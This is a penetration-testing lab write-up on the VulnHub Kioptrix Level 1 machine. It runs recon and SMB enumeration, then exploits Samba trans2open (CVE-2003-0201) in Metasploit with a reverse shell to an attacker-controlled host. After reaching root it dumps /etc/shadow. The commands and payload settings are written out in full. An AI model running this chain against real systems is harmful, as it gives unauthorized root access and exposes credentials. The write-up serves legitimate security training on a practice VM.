Kioptrix Level 1 is probably the most recommended beginner box in the VulnHub ecosystem, and for good reason. It teaches you the exact workflow that carries into professional pentesting: discover the host, enumerate services properly, identify the software version, look for a public exploit, and run it. No rabbit holes, no CTF trickery. The whole machine took me under an hour start to finish, and the box doesn't even require privilege escalation. The Samba exploit lands you root directly.
01_Host_Discovery
Before nmap, I used netdiscover to passively identify the target on the local subnet. In a lab setting this is sometimes faster than scanning a full range, especially with older VMs that may not respond to pings.
$ sudo netdiscover -r 192.168.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 120 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 192.168.1.5 08:00:27:xx:xx:xx 1 60 PCS Systemtechnik (VirtualBox)
02_Port_Scan
Full service version scan. The important ports here are 80/443 (Apache 1.3.20, ancient), 139 (Samba on SMB), and 22 (OpenSSH 2.9p2). SSH 2.9 is prehistoric but the interesting one is Samba. Version 2.2.1a is a massive red flag.
$ sudo nmap -sC -sV -p- --min-rate 4000 192.168.1.5 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) mod_ssl/2.8.4) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) mod_ssl/2.8.4 32768/tcp open status 1 (RPC #100024)
03_SMB_Enumeration
Nmap didn't catch the exact Samba version; it rarely does on old boxes. enum4linux pulls the full banner. Samba 2.2.1a: that string alone is enough. Anything below 2.2.8 is vulnerable to trans2open (CVE-2003-0201), a heap overflow that gives unauthenticated remote code execution as root.
$ enum4linux -a 192.168.1.5 [+] Server 192.168.1.5 allows sessions using username '', password '' [+] Got OS info for 192.168.1.5 from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a] [+] Enumerating users using SID... [+] Share Enumeration on 192.168.1.5 Sharename Type Comment --------- ---- ------- IPC$ IPC IPC Service (Samba Server) ADMIN$ Disk IPC Service (Samba Server)
Key Finding: CVE-2003-0201
Samba 2.2.x before 2.2.8 contains a heap-based buffer overflow in the trans2open request handling. Unauthenticated attackers can send a crafted packet that overwrites heap memory and spawns a shell as root. No authentication required, no prior foothold needed, just a reachable port 139.
04_Exploit_Research
Searchsploit confirms there's a Metasploit module for this exact version. I always double-check with searchsploit before firing up Metasploit. It's good practice, and occasionally you find a standalone exploit that's faster to run without the framework overhead.
$ searchsploit samba 2.2 ---------------------------------------------------------------------- Exploit Title | Path ---------------------------------------------------------------------- Samba 2.2.0 - 2.2.8 (OSX) - trans2open (Meta.. | osx/remote/9924.rb Samba < 2.2.8 (Linux/BSD) - Remote Code Exec... | multiple/remote/7.pl Samba 2.2.x - 'call_trans2open' Remote Buffer... | unix/remote/22.c ---------------------------------------------------------------------- # Metasploit module path: # exploit/linux/samba/trans2open
05_Exploitation
Into Metasploit. One thing to watch here: the default payload for this module is linux/x86/meterpreter/reverse_tcp, which tends to crash on older Linux kernels. I switched it to the non-staged linux/x86/shell_reverse_tcp. That's a detail a lot of writeups skip, and it'll leave you wondering why the exploit "didn't work" when it actually did.
$ msfconsole -q msf6 > use exploit/linux/samba/trans2open msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.1.5 # Important: default meterpreter payload crashes on old kernels # Switch to the non-staged shell payload msf6 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp msf6 exploit(linux/samba/trans2open) > set LHOST 192.168.1.100 msf6 exploit(linux/samba/trans2open) > run [*] Started reverse TCP handler on 192.168.1.100:4444 [*] 192.168.1.5:139 - Trying return address 0xbffffdfc... [*] 192.168.1.5:139 - Trying return address 0xbffffcfc... [*] Command shell session 1 opened (192.168.1.100:4444 → 192.168.1.5:1023) whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
Root on boot. No privilege escalation step. The reason this works so cleanly is that smbd runs as root on this machine: every connection it handles inherits that context. The trans2open overflow hijacks a request handler while smbd is running as root, so the shell it spawns is automatically root.
Technique Note: Why Switch the Payload
Meterpreter is a multi-stage payload: it sends a small stub first, which then calls home to download the main agent. On Linux 2.4.x kernels, the memory layout doesn't support this cleanly and the session dies mid-handshake. shell_reverse_tcp is single-stage: the exploit injects the full payload at once and you get a raw shell. Simpler is better on ancient targets.
06_Loot
With a root shell I grabbed the shadow file and a few system details. There's no formal "flag" on Kioptrix; the goal is simply root access. I always check /etc/passwd and /etc/shadow to document credential access as part of a real engagement.
# Enumerate system info cat /etc/redhat-release Red Hat Linux release 7.2 (Enigma) # Grab credential hashes cat /etc/shadow root:[REDACTED]:11469:0:99999:7::: bin:*:11469:0:99999:7::: operator:[REDACTED]:11474:0:99999:7::: john:[REDACTED]:11474:0:99999:7::: # Hostname hostname kioptrix.level1
07_Attack_Chain_Summary
- 01 netdiscover → identify target at 192.168.1.5
- 02 Nmap -sC -sV → ports 22, 80, 111, 139, 443, 32768
- 03 enum4linux → Samba 2.2.1a (MYGROUP domain)
- 04 searchsploit → CVE-2003-0201 (trans2open heap overflow)
- 05 Metasploit: exploit/linux/samba/trans2open + shell_reverse_tcp payload
- 06 Reverse shell → uid=0(root), no privesc needed
- 07 Dumped /etc/shadow → documented credential access